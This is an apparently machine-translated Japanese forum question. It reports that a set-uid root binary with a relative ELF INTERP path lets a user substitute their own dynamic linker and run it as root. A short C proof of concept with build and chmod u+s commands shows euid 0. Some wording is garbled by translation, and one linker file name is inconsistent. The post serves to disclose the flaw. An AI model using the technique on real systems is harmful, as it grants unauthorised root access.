ELF バイナリの INTERP セクションでの set-uid と相対パスの組み合わせは非常に危険です。
この問題をどこでどのように報告すればよいかよくわかりませんが、Linux/glibc での動的リンクがどのように機能するかに関する一般的なセキュリティ問題のように思われるので、それが何であるかを説明させてください。
動的にリンクされたバイナリを構築し、(--dynamic-linker gcc オプションを使用して) ELF INTERP セクションで相対パスを指定することを検討してください。これにより、動的にリンクされた商用アプリケーション (静的にリンクすることが許可されていない場合) でカスタム glibc バージョンを再配布できます。 LGPL glibc に反対しますが、異なる glibc バージョンを持つ異なる Linux ディストリビューションでバイナリを機能させる必要があります)。
バイナリをルートに chown し、バイナリに set-uid フラグを設定すると、実質的にルートキットになります。別のディレクトリから実行すると、ルート権限で実行される動的リンカーの実行可能ファイルを置き換えることができます。
これを実証するには、次の C コード (issue.c) を見てください。
#include <stdio.h>
//
// build with:
// gcc -DNAME=\"vulnarable\" -o issue -Wl,--dynamic-linker,.lib64/ld-linux-x86-64.so.2 issue.c
// sudo chown root issue
// sudo chmod u+s issue
// now build some code to be executed with root permissions (we use the same issue.c):
// mkdir -p .lib64/
// gcc -DNAME=\"rootkit\" -o .lib64/ld-linux-x86-64.so.2 --static issue.c
//
int main(int argc, char* argv[])
{
printf("(%s) euid:%d\n", NAME, geteuid());
}
このようにset-uidバイナリを実行すると
./issue
またはこれを行うだけでも
ldd issue
あなたが期待するものを得る代わりに、例えば：
(vulnarable) euid:0
あなたが得る：
(rootkit) euid:0
ポイントは、ld-linux-x86-64.so.6 バイナリを好きなものに置き換えることができるということです。
RPATH の $ORIGIN を解決しないか、set-uid フラグが設定されている場合は LD_LIBRARY_PATH を無視することで、同様の問題が解決されたようです。
したがって、set-uid フラグが設定されている場合 (つまり、デフォルトのダイナミック リンカ - /lib32/ld-linux.so.2 または /lib64/ld-linux-x86- を使用する場合) は常に、ELF のINTERP を無視する必要があるのではないかと思います。 64.so.2)?
では、これはどこで修正または報告する必要があると思いますか? glibc またはカーネルで?